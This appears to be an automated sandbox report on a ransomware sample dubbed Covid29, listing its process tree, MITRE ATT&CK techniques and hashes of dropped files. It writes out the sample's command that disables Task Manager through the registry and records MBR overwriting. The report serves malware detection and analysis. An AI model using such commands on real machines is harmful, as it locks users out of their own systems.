C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:4732

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1224
- C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of SetWindowsHookEx
  PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
    3⤵
    PID:5548
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:5852

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
1⤵
PID:5616

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
- Modifies registry class
PID:2092

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39ed055 /state1:0x41c64e6d
1⤵
PID:4708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ade01a8cdbbf61f66497f88012a684d1

SHA1
9ff2e8985d9a101a77c85b37c4ac9d4df2525a1f

SHA256
f49e20af78caf0d737f6dbcfc5cc32701a35eb092b3f0ab24cf339604cb049b5

SHA512
fa024bd58e63402b06503679a396b8b4b1bc67dc041d473785957f56f7d972317ec8560827c8008989d2754b90e23fc984a85ed7496f05cb4edc2d8000ae622b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001c

Filesize
21KB

MD5
86983f96fdd4d0e8e99cf6cb99699bbb

SHA1
731c5beb265ce52186c5862109050890f087f22e

SHA256
48718f1307a42db02450d31a0723bc32351cac42a0a0a51a79666620c7683594

SHA512
c315d53ab4390fda1a1ad8611f0be3821793cde590d16620f2f371a0428d653f54e6a432170809ee7bd370905f0a1a5730c8dd134f91552c632fc24f56433219

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000025

Filesize
21.5MB

MD5
ac9526ec75362b14410cf9a29806eff4

SHA1
ef7c1b7181a9dc4e0a1c6b3804923b58500c263d

SHA256
5ae89b053a9c8e4ad9664b6d893998f281f2864c0f625a536400624d4fbd0164

SHA512
29514a83a5bb78439ee8fb9d64b9e0885f4444fb7f02cefdee939984bb80f58493b406787c53f9a4bf521b2c03af4c3e3da4d5033eee8095b2ab0e753534e621

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
4b254a979a80b202f67d2a8cb3084cfd

SHA1
dd3d3da36ede5e4751c0f9fe21ee20dd84567bdb

SHA256
6a8a3ef63f826c1a504769eb1446834c3b97d520c6eaee9bc861325f7f59d1e4

SHA512
8b86fb16221016cfe6d37a44e937c39a58bc80bdce31839d93cae1169a1cebb2eb47c73381bf40aa5ee730e06ecbe1638c43667014975c589f59ddb8aa5a8993

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
c02b14355501512b627dafb980cbb54b

SHA1
ec355646720b768ef7c9841400248bc5df345a47

SHA256
1353566f9d47085da67cf29a5320dde1b5b6cfbbdad1619724ef952fd76bb6a0

SHA512
77bc4f399ea09321e32b46999001a8708c2f89781716b59a4dbfc99b0efc02449ef04da276332ab3f36b073da30194da66960ebb3929a86d3aca64f8d4b148fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
0181f8822e4b2e0d6199a899ab40d83e

SHA1
0ac151cdb4037134e0f84e2006b9a89c6c4fa31d

SHA256
186685aa4f3e67e1921b952ea8affde5cbe30073f7bb175219193597e25d1bfe

SHA512
ae2b47e4bedd56b92dd0aa3d0c76ba98902451d7dea6fc38c9ed306bf4b4abb04be788cdf7fe55fc17421850526812667b4ac0bafd884ea30dceb525786a4c7f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
e7d53eba30bfc22ed676e08478e391d3

SHA1
67e99b84c655eda0d9423c90475a9d4180d469f2

SHA256
613c88120e260ce3c17a49cb683558029dacbed14547cafe240dbd82f952055f

SHA512
dcfb00a4c5ba9f4ce43225f941d4da5ee5412c8929dd4a0d91fa4774bad9c02e0e211bc8439ae095a1478ba395375e18308e1043033c52176d5437106318bccc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
870B

MD5
5a6c3dc4ef2c65ace2f258e0957b4f90

SHA1
07b0fd8400b50cb5576e0757fbec8f7bc8a55874

SHA256
6b8d2d34fb0c23f1ce60001d1a4ce870df90b7dc388a1a3cf2a1e91e3f33bbd6

SHA512
8b1c3e204490eb7d871c5a5c1d54b9828d74dfbf4942bf63c76a129a2009dcdf431afdca398f9871867d53e5f9756976d27e6ec6050df18b7438f79b1b45291f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9bf881b349cb1d2c318167e3216480b4

SHA1
73c21ade9cf6e49656b93affa47ffb5176deb237

SHA256
039ff47fa219cd50a0ebf29c5bc3e359b08cce4a5e1766170c8e1ecde133a4cd

SHA512
5736e5e8b5ce8efeebcee788d90e6d73f6d4d7f42a35023ab70005474a210623b0a3534f3132f6bcfc98ed24fb012b24ccd097375f6d2899e5af16690a16a872

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
13f45b52946aa8357d57f4c88cb99a4e

SHA1
55e3bb65f6f8e4ae7e1f64530e4a6445509489dd

SHA256
f6b90cb0cedf07477a1ee9b67d53f9f69ac5e64c342eec8a8b552763c2e51415

SHA512
ea983b0299c91fe053a1e60dda41b2076627b06a671f147c5339e4b4b3b141f29aecd0b840a649940aa3b59a57928a03c98fcaa202a73a9701d2b99c9d124916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
87c92f82048f1328d772433b4dd48aa4

SHA1
a3d0decdc0c0b8c8e1b35c37a5b8dfcb11e63d38

SHA256
c83fc90681e6fee5f2b32295b1efac23929a707e03404856824c286dbae5f692

SHA512
604b48a54d3a51272059435f0a54f13fd3d65a75e1779c3cd4ef7dbbae870201517c213f5b5e8c4670138ebaf23c2978911ad14ee71d6cc5bc660c5775074bd1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
f4414a54405441b3139aa1eec6f75c22

SHA1
f3aa8308324868b9ed05a773a57ad3b8221c79d0

SHA256
b5a9e15209f90528bd4b85497bf7aa8c54d3df87d89198efe156fdf061d18f22

SHA512
63412081c44443a888fb08eac708325da3ad0a0013f4517b3927bb0dd04d20925821d8a486ef13c7b5c2173dc2b0b1aef08ef33ae5012a748047ba8653063006

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
77bcdef68d8d4dd2bda7b923896c9d8b

SHA1
e54f464a220484475041b9c482a0860f8ef157a3

SHA256
61717beea4db572bada6c072ec50bb03443a3ca38e36ed1f4a37ebb3a542184e

SHA512
c65246de005f249c7a4808f2419c2222775067812f3ed4757ff0f318083f06c028ed8ccac167557b9ccc803b987bfea48b8f2db9f95329fa0bdc266798b90cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8555d257bec54999d79f02ff4bb8e7ce

SHA1
51c8df840966c1f880617af3ad9609fbdba55267

SHA256
0dd1aa2ecaeb366a2b8998b0d182ee908ab57c43bd2294d36ff446efcccfef3a

SHA512
678d5748c9cf7d8b7090b2e24b686c2a37debc3135d24526c7a978805abc32002c5efd56d6fcbfede0e1aee1b681e4876ffe1de611eade85037b42228c8b0604

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
49b0425c029945e99c1f049bb7fc4b64

SHA1
c3afd8d445e058657f817cc178f157efe6353af6

SHA256
9ac86f9df099af9ede39d90ba1fb80625a30875b39147445697e3857cbf6b423

SHA512
9f079a6ff6ac8d8d18c4dee1087209c6ac043117176be71ce368f4d400cf373beb6cd4903ea99dfa112dccd0208041b64f113b4f786689088acf171f89acf224

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
8b17f1567550c733b9e3d5530b5a2859

SHA1
be0bdd15794a8391e0dca0ba3c19872a1ab48f6a

SHA256
5e040ec3ffa79b93589e5d86299e3c3bd53b477def511ecdc272d930814bb283

SHA512
f58d5173c121330d898611c2d7d065176963e387a3194177b6b9a9b088461e8cb9460cbb0ab01fa8d837644c8ca6abf693f01aa3957e7a2ef3d0a9ed5981e881

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
38ecee8411e9d5c62438ba16cc6a9eeb

SHA1
29c88d232abf28e02f54230296fe39b5f1be23fd

SHA256
2ab339ad8343bccb40a7e2d50d9c3b2ff9fcf8fc8dbe4c2905fff2096b297947

SHA512
349e48664218e672018c03b455af8850589b9dc36818f67ceb55d886fe87ecbc862b2ae43f6c8bcd8e8beaa095e7ac6f4386d1af7339dd7384899e712c779fc9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
2f3150b2a4f43e06721827e8e24da7be

SHA1
6474e442143b5274b1129a2623e1cc75d489d51d

SHA256
f6dfffa30d3490ebea49b82c31c56aba4c7cf71004e7644897acd0e3246ec25d

SHA512
f1f43f537dd29b6bf59e7b75714537665aecd0e4b75351f4c35363a032f16d8da75d2089252a7a8fb6b2e03a06449a748429ee5a3b454358304ea9caef5c5d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
b3b06b6eb811b852d00bd74474482ec1

SHA1
23f8e10a4af04a5073c57e4c3575aeeaf57c308f

SHA256
4f27a27043bb91ac85fe7a9e897ebb0309735073e615ecc2e821c09db9bd343c

SHA512
f3a47db8f58a6a26ba06da3903563c92d045f54cb8d162edd694c731f90013784f33b1888cfb6d6c2d74690ef66ae884b24930269d79b0f72d9ff05de057758b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4cdb9b22b9465d447595d3f59edee05e

SHA1
86e03c913947ed7e62b15438f97519bd0d1c8a79

SHA256
4ef3a966a78aaac891b7a25fac463beba0e511f15dd3941ca36282838340f514

SHA512
bb585bd7eb5de13e3d1f945a45e58ed9a356973e9f875fbc8f8f7cd9d5c2f8de12312d1b5bb6a4348461b0129b51cdccc8bc504e49784887438e13151e1493f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
496f9b95a7c5df1ca7c6e9ea55f3ad1c

SHA1
b836d90cea0f3a48ee0e0a1fa5dd31c8b602e2e4

SHA256
8d28a7ce6e59526d89da1ccca069873012ff1e4d641bcd348de9805ccddcc156

SHA512
5d4bbc86060310cf66e6cf32d79130f0490ee534cb41c11ee2d3de853975584b2d4d7fc069aeada2a9d7b23dae9ffe0b48d7f0491098ad42f607e293724a2464

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
67f58fadb5571d23f6abfdb3edbbc5fc

SHA1
0dd22c10ae0b09591e050b945b5aca95e5a191ba

SHA256
77991feeff4b9e520ba68c250357d571720f76f9ef54c20a108905080f760cac

SHA512
4a82fefad755241b23f364c2d938fd04d675c1eba3ebf0224ba57aa9542f2369df473a17dac877e1f6bde36163a4b398db0d6a732ff71270864bef14a3b85cf6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
0cc146285f266ac335f58ead538ffd0c

SHA1
1923418019f12f2d5178ff8fa9c70275ea64d607

SHA256
f455358033c9947422431085bbcb4c66f76964579a758ddddab1557bf068b743

SHA512
cb474c328ceb063d6ec84c1f58036f4dc3e05fafbc296f99add80f5db81a78eb99afe2959edc87bb172d1cd43c9df76dbfdf968dcc871a5c85d4eb5f8283a385

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
cc93c7331ae8b282c42da3df39e7c756

SHA1
ac0f631c5391ca8d40284244d830074dd4d44b63

SHA256
908a627e9ee077c6f522647e849589f0de94cac71588bf3eb0a973bbe5585a9c

SHA512
629f7420565b98c9103b218b80e31a89ada4569378468e57bbe7d16ef00543dd6b482960af9cc979a3317032e63e4e9979ce664f5128256c6d15dbe354b4349e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
faa061b60a11b88c2f233cc13be2f4f1

SHA1
de8513de19dc4af001ab332f7d5dcba033905ebb

SHA256
25a2fa8a15422a17399fbdf9598d19f7bdc4944110845788b19855f5356de893

SHA512
1137e37e66bd453bc763a854b2b2583cdc488c8c6004fc29dbbdb81d09cfaa2584c2693b74601d052d0a21713a6aa744ff01af5cd88ad5d0c00aacbb85552920

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
a95d35cc52c4d167fa328eb40597da43

SHA1
2eac6aaa15ecd868100bc9795fe2f9ccd361dd3d

SHA256
e4b253a8e5bac63285287feb0767c087b41465770d313b130c882c5d836d504e

SHA512
9f2d3c9d09b9d26fa4890ee3b0ece7e97e50b3bf92ebffa5beebf72f3857dcec5ed3162c428b537c4a91bd7e90fe35ac515b9471e37ed5a1ef10bc2e65222894

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
b60039ffa265068b4637fe80da2128bf

SHA1
de9b13074cee2ced267d2b62a4817b5e0ea9e0be

SHA256
ecc297fcf142e257cab4d87a972142e93948b6e9692ffaf8301f88151012d8a1

SHA512
8854e4d52d23fb80f6902013e6f08e31506e689b267752e3d8ee1a7376cf5a1ad4b13bded7f7fdb66f125d0dc9a94258595e553cc5d106f34217c82fd1597980

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
954eb348a8ab835cd0b6aa0c866e975d

SHA1
ea4d3bfd776a14a06ee1600ae0cabb5393ad74fa

SHA256
7b526cb9cf74140d5f01a87684bfa9bee4dfa5a01734d7173f231ac7f1eb7521

SHA512
08bc3c5e36c78d38f9f393cdb88e81d3999aaa3688c2903624b4a46efdb6876e9100b464207453bfe75dc79cda75d122eb50f31bfbd78bb62fca80c7ae22d435

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
d052ef8a54450625e81954cc07889a52

SHA1
1311e119f4a16ac008b7476a2053dc21efc0005c

SHA256
562ce1abcadd7e08855b89425105eda028bbe36c03deb9c1f67ead82c5b9e1ad

SHA512
cc354795098f29216e16e22aa1415cf87ad18bea631d2b19c2b0d811ae4cc0f8fb57f6d7e3a9b3bb33e1507dc118ac037bf587ecddc5b0ffd23078b9892ed955

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8a6274465ea38cb62b92c6797a171018

SHA1
349e805f1f0e0bada0a9e0fb9f40bdbaeb6d30f6

SHA256
177b5338ad9bcff5ce6a4a671c8f66011ba077e74fe579f862e04a4bf1a94e4d

SHA512
64fbdbddf33a5e770c56dd9aead8b90ddf6ed9f5223cbcf67d2aff77dbd980e7ee5055101d4f5a97b0dc6f2d4b36d6aa3abd401494ea7b530a03a99920763482

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4aadb2b7505a63bbaef468fa81593e7f

SHA1
4fa39f51e2abd02bc4319a9dcc5f819102aa2af8

SHA256
5314f3766c19042e5d243a19753954da30f65e222bfcc2aa4c37de35e79e8669

SHA512
5e5bde4a78601df4c30d479d0a98968968291d8e04915830a249e146231285df6a76bc3bea33e01c7037f73603f0ff1da2ef0dc2838c00a96d0d8cbfda770f04

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
1b2782c1b172e4ad6ca09f884983bb45

SHA1
4ce83bd5c628fe63de081dead680a9beaf3410b7

SHA256
73cb21ad6fd82a4f793f8879168497bc888ce4de713c56c07902ef42b428707b

SHA512
73e7aace437b30804dc284f52120c167dfe09e6c8d8cefa94eac97408ce655627fda26d542b89f8e1b266514f3e12f0a3342f67a9d640f182ebd9998f90d2286

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8fe129ff0c8059f60d87d16a51d8a363

SHA1
7248b9b1deadd2aa1bfeddc38ab27d12fbd0c2a3

SHA256
c95e977f809208523ec766c7c06a7a2749120f980e5aa4ca84ae030f82c6d494

SHA512
d13d01fcc770da6c5bc9e6f06a295307a9d6c7d8c92c548d951aea0b3e6579ab79814631ae929fa1e781933df5f17a5ca93a624841b0bda988e9c34bc7a3d0f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
726bfaad989df20599f2a9a4d39bfede

SHA1
a84ed43680642946a2ee4042fa92baac78695fe7

SHA256
22bcb887a9110fd866aa7b9452fb023542ac5029885565b14ddee3b61afa3642

SHA512
1aa5c220e91219f22fde342cee1235900d350b19002f60072c7570094d6c70abbc427b129b3171ddf3d9b231a7530a0ea814265cf743e3fd02d61ffbc0a8f0c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57e704.TMP

Filesize
538B

MD5
af83b3a69195639a67d5fa25553628ad

SHA1
28cb47a22853b1e99a50f1983420337698bbcf3d

SHA256
9250893ce11569fad54fd18c33d6386e541fa2d3a81ce2035bfd10ee4a9a3303

SHA512
6f8964361df7fd468124d427d79262ef79be81784d52e1cd143eedbdb93ff7d70c770446b6c11c7c020458c5bce6b451b33e0d6779d1cd296d7bcc4bd29f449e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\85aa3924-1f4a-4578-a746-263dcd77b929\0

Filesize
16.5MB

MD5
a725357eb37e4b43a65b9dfb50202c1d

SHA1
3308690577f8186444eeb242bb4e75cf45a6a4e8

SHA256
c760b5f8e5dc948db88e266ad5b44322d210d2d5f54a0300d17e19c3f5d3906c

SHA512
e1e8ea6e907c5afb29e392e02d93b2596839583aff3cecd7097611705496c7509b268d0c3340e819985715ce7b3cedb32972367f431ab9d21d7dfcf83e9766d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3c8c3a182427fe78f5cd0fd3035da282

SHA1
223dab05a19aa244baa5e5244576c31679db1f27

SHA256
b777cf9b29e06fc062b8cf4498db843974521b70966450d348aba85181282bfc

SHA512
a8b0edcc1110bbdf2772937aa852a461c6830cc8bfb1c81ee34bf829ac12d8dee44554272960c58f78aa73850fc6353ac32aa4d20a2403c3ac338c8af6bca656

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
74dd75c6880da45c755b60946be4d152

SHA1
a4b41ee723897bd0aacd084f97c0e35af596a28e

SHA256
fb00ff67b89b7e98e4064ce334f3464e9ce8e9ff076faf8cd1ced12a5e009f9d

SHA512
6abc3d069fdaafb62d429ac5daad5d4a8c5ee7825ad0887087bfc9d2129f61cf53a6ac9978ee5f294f31be9c99a24172230c882f700b3f09905dce6d63be55e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
f5ba42beaf9884d17b14877062fc72fc

SHA1
34c17c8d2e29998691d8374795c9db09645856d3

SHA256
dafff3eee59ed723fadbe727b281a0105051c5abfe0f611b453717340903cb17

SHA512
47537eb955705851a967d65fb299e5ff5b273a24539ca4d09cb8a0504323c95477e28b3f2803ff4068ca735a62fe19d397b777a0e6e6a6fd417d78fcf55a024f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
6f470b94260c2467c75f618645bb8037

SHA1
b950c00fd357907f3be6c068b768d7fc2877ab92

SHA256
9d1da4b50c4e6be398bfae85756a64d1443be2c3f7c3f62c118cabd0062896dd

SHA512
eeeb6224f96a91be786be670c36fdb844420ed6ee0460a7977e4a2cc778dff7aa6f84ac4ff255f7ee1e2befa470bf5056ed3cb989da98a6c7b1b46934024f77e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d742ccc8d0d129b4d8b21247572ac50d

SHA1
9ac424d55d2272ffe0ec69b96fefb8ba80a6e784

SHA256
d5213c45711417ec0c56bf716384c2a426e6e3dbb5605531b92220bdc9e856ee

SHA512
e32981466fc26964c6447f2a4986ed1dd06aa31238eda8637255d80bfe697da675ee9cb6a4a55d8925884c0506ec411f7589ba831f05229b885fd3e5354f3361

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
460247cbad4c6ce84d8b38880c887905

SHA1
aaf6038f8b9ccc7a3c3ec26ee3fe9abaf3ea7d90

SHA256
074e3e7ff9931dc9e570481c106b1c3fe356be8baa6ee0282e06783f0e8eee14

SHA512
6ff90bed1d591cfe8f25dbd2d1cc4d672b6356692a67282ccff456bcbba477467eae58c9bb03e70c499ea770bd0a82db7f912aff64d989ad6c7599d571295f1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
9772d4b56fbea72cd39a31f65b976251

SHA1
93242bccc5882de1eb3be662563877eb38e8cba7

SHA256
94925e4c65288a8664954ab764c5ba8744f86dd153f08a4c2acca69b3304040b

SHA512
9a121e280d7c8c185100dcac5c77de52e53d41059b3928a483efd5fb08424788e8bb017efefe2aa6d49e76f14b2596c23d14c4267ff5b246f474d6b70598aeb8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d0e3ff945952581aa7c01c1cf56f86c7

SHA1
9b4a3bcf36e9f95f18d17c79a518871d4648126d

SHA256
0798db325d8c8ebed54da776fa2e0989c6d13cf1c5378a3fdb02a59663d9c97e

SHA512
78167fec39392297f2ee3f15db5c105fdfaa405f27b25f6dd75de4c94f642950fff73c4d36c8fbaf2d5f7b07e93122c6d58dbb190539742e6e70c3e3cfa94ba9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
eb2ef68db7aabdf2cb3472be5d7628e1

SHA1
118c3f59331f05aa2c44c724e04519092bc25596

SHA256
5f4a04ef4a08eb4c7dbb56134bef95309c7561613fb548adefbc014d635e2afa

SHA512
da8d76201a856da831b2987ac200fc16b89af516301abfef03f14d5c3646b5fb7568380b2a681fad8530eddf736a0a82d842931531ca14032b2ca7aa8d400237

Download Submit
C:\Users\Admin\AppData\Local\Temp\178A.tmp\Cov29Cry.exe.death

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\178A.tmp\Cov29LockScreen.exe

Filesize
48KB

MD5
f724c6da46dc54e6737db821f9b62d77

SHA1
e35d5587326c61f4d7abd75f2f0fc1251b961977

SHA256
6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

SHA512
6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

Download Submit
C:\Users\Admin\AppData\Local\Temp\178A.tmp\TrojanRansomCovid29.bat

Filesize
1KB

MD5
57f0432c8e31d4ff4da7962db27ef4e8

SHA1
d5023b3123c0b7fae683588ac0480cd2731a0c5e

SHA256
b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

SHA512
bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\178A.tmp\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\178A.tmp\mbr.exe.danger

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\AppData\Local\Temp\B953.tmp\CreepScreen.exe

Filesize
128KB

MD5
4ab112b494b6c6762afb1be97cdc19f5

SHA1
eed9d960f86fb10da90d0bbca801aea021658f02

SHA256
ec778e79c7a3c88eed2a6931a9f188d209791f363fbe7eadf0842efdbfafee3e

SHA512
4f7a92834c576fdb55c3a5dc4990c4aa719083ce64ebbb70139d03ba485e7ae0d249afdc6c9810ddae3d106a0bdfc35b8fddb4fb40ad692f21c5c8ce3bbb1b49

Download Submit
C:\Users\Admin\AppData\Local\Temp\B953.tmp\bg.bmp

Filesize
5.9MB

MD5
463e7914d89b7dd1bfbba5b89c57eace

SHA1
7f697f8880bcf0beed430d80487dd58b975073fa

SHA256
fd62ecf096773673d834f1ec598e0a3898a69c14bf159ba4e23b1caf5666923d

SHA512
